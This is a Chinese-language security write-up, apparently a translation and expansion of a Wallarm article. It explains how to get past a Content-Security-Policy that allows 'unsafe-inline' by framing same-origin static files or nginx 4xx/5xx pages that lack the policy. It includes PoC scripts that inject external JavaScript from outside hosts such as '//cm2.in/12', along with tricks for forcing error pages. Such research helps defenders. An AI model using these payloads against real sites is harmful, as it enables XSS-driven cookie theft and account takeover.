CSP unsafe-inline时, 引入外部js

前言

原文: https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa
用自己的理解, 把这个文章比较通俗的翻译补充了一下。


利用场景

当csp有Unsafe-inline时, 并且受限于csp无法直接引入外部js, 当frame-src 为self, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js。


正文

虽说在CSP有unsafe-inline的时候, 已经能够很轻松的把cookie给传递出去了。 但是如果想引入xss平台的js的时候, 也很麻烦。 因为xss平台的js因为功能很多, 所以通常js文件都很大, 在unsafe-inline的情况下,很可能有长度限制之类的导致没法执行到xss平台的js。

CSP测试环境。

1
Content-Security-Policy: default-src 'self' 'unsafe-inline';

在上CSP的时候, 一些静态文件中是可能不上CSP的。并且如果这个静态文件没有 X-Frame-Options: Deny(禁止该文件被iframe)响应头的话,这个时候我们iframe去打开这个没有CSP的静态文件, iframe相当于另外打开一个窗口,因为是同源的, 然后我们操作dom往iframe新打开的窗口里写入script标签去引入外部js, 就可以无视script-src self的限制了。

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-inline';");
?>
<html>
<head>
</head>
<body>
<script>

var frame = document.createElement("iframe");
frame.href = "/robots.txt";
document.body.appendChild(frame);

setTimeout(function(){
var script = document.createElement("script");
script.src = '//xxx.com/a.js';
window.frames[0].document.body.appendChild(script);
},2000);

</script>
</body>
</html>

成功加载了外部的js了。

但是如果是在nginx的配置文件中, add_header 来做csp的话,

那么所有静态文件中, 也会返回CSP。
在nginx文档中有写到,

Directives
Syntax: add_header name value [always];
Default: —
Context: http, server, location, if in location
Adds the specified field to a response header provided that the response code equals 200, 201 (1.3.10), 204, 206, 301, 302, 303, 304, 307 (1.1.16, 1.0.13), or 308 (1.13.0). The value can contain variables.

There could be several add_header directives. These directives are inherited from the previous level if and only if there are no add_header directives defined on the current level.

If the always parameter is specified (1.7.5), the header field will be added regardless of the response code.

当没有设置always的时候, 如果response code为4xx或者5xx的时候, add_header 不会起作用。 那么当这个时候, 我们可以iframe引入4xx/5xx的页面, 然后往4xx/5xx的页面里面dom里插入script标签。 如果设置了always的话, 无论什么response code, 都会添加响应头。

1
add_header Content-Security-Policy "default-src 'self' 'unsafe-inline';";

配置文件中加上add_header, csp

静态文件中也都有了csp了。
这里我们利用4xx页面, 4xx页面最简单的肯定就是404了。
当然还有一些其他触发4xx页面的方法。

1)超长url

1
2
3
4
5
<script>
var frame = document.createElement("iframe");
frame.src = "a".repeat(10000);
document.body.appendChild(frame);
</script>

2)超长cookie

1
2
3
4
5
6
<script>
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(10000)};
var frame = document.createElement("iframe");
frame.src = "a";
document.body.appendChild(frame);
</script>


3)不正确的unicode路径
utf不存在g开头的,

4)
nginx在主目录上继续往上级目录跳的时候, 也会出现400

不过相比起这些4xx, 肯定404是最好找到的了。
不过现在404各种风格, 也有404页面的reponse code为200或者302的。 那么上面那些其他4xx的就有作用了。

add_header设置csp后。

404页面中没有csp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-inline';");
?>
<html>
<head>
</head>
<body>
<script>

var frame = document.createElement("iframe");
frame.src = "/404notfound";
document.body.appendChild(frame);

setTimeout(function(){
var script = document.createElement("script");
script.src = '//xxx.com/a.js';
window.frames[0].document.body.appendChild(script);
},2000);

</script>
</body>
</html>

可以引入外部js了。
当然这种引入4xx/5xx页面的方法, 如果add_header的时候设置了always的话, 也是没办法利用的了。

除了iframe以外, object和embed也可以, 一样的原理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-inline';");
?>
<html>
<head>
</head>
<body>
<script>

var embed = document.createElement("embed");
embed.src = "/hhhhhhh";
document.body.appendChild(embed);

setTimeout(function(){
var script = document.createElement("script");
script.src = '//cm2.in/12';
window.frames[0].document.body.appendChild(script);
},2000);

</script>
</body>
</html>

Reference

https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa